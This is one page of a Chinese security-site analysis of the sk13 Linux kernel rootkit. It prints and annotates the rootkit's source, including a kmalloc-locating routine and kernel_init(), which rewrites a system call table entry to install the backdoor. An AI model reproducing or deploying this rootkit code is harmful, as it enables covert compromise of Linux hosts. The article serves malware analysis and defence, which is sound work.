首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>病毒分析>文章内容
Linux后门系列--由浅入深sk13完全分析
来源:http://xsec.org 作者:wzt 发布时间:2009-05-04  

                continue;
            }
           
            for (i = 0; i < ccount; i++) {
                if ((kcalls[i].addr == call) &&
                    (kcalls[i].gfp == gfp)) {
                    kcalls[i].count++;
                    goto outta;
                }
            }
           
            if (ccount >= KCALL)
                goto endsrch;
               
            kcalls[ccount].addr = call;
            kcalls[ccount].gfp = gfp;
            kcalls[ccount++].count = 1;
          outta:
          }
       }
    endsrch:
       if (!ccount) return 0;
       c = 0;
       for (i = 0; i < ccount; i++) {
          if (hint) {
             if (kcalls[i].addr == hint) {
                c = i;
                break;
            }
          } else {
             if (kcalls[i].count > kcalls[c].count)
                    c = i;
          }
       }
       *rgfp = kcalls[c].gfp;
       return kcalls[c].addr;
    #undef KCALL
    #undef KSIZE
    #undef BUFSZ
    #undef MAXGFP
    #undef MAXSIZE
    }

    kernel.c/kernel_init()函数
   
    kernel.c的入口语句是:KINIT(mem, sct, sctp, oldsys);
   
    /* initialization code (see install.c for details) */
    void    kernel_init(uchar *mem, ulong *sct, ulong *sctp[2], ulong oldsys)
    {

    /* ksize 为sk本身的大小 ,newsct指向刚才用kmalloc分配的内存区域 */

       ulong    ksize = (ulong) kernel_end - (ulong) kernel_start;
       ulong    *newsct = (void *) mem;

    /* 将oldsys 保存到原来的地址处,oldsys 保存的是oldolduname系统调用的地址 */

       sct[OURSYS] = oldsys;

    /*
        请看内存示意图

    mem                    kernel_start kernel_init kernel_end
    |                          |             |            |
    V ------> 256 * 4 <--------V             V            V   ----->512*sizeof(pid_struc)
    +------------------------------------------------------------------------------------
共11页: 上一页 [1] [2] [3] [4] [5] [6] [7] 8 [9] [10] [11] 下一页
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·Word溢出Shellcode分析
·浅谈反病毒技术的前世今生
·Ie0dayCVE0806.c 变种网马样本分
·Web应用漏洞的大规模攻击案例分
·Ie0dayCVE0806网马样本分析
·Witty病毒通过ISS的防火墙产品和
·酷狗音乐首页隐蔽挂马详细分析+7
·Net-Worm.Win32.Dasher(黛蛇)蠕
·熊猫烧香病毒分析与解决方案
·卡巴斯基(AVP)内存驻留型病毒检
·104种木马手工清除方法
·avserve病毒初步分析
  相关文章
·Word溢出Shellcode分析
·酷狗音乐首页隐蔽挂马详细分析+7
·熊猫烧香病毒分析与解决方案
·Ie0dayCVE0806网马样本分析
·Ie0dayCVE0806.c 变种网马样本分
·卡巴斯基(AVP)内存驻留型病毒检
·Net-Worm.Win32.Dasher(黛蛇)蠕
·浅谈反病毒技术的前世今生
·avserve病毒初步分析
·Witty病毒通过ISS的防火墙产品和
·104种木马手工清除方法
·Web应用漏洞的大规模攻击案例分
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved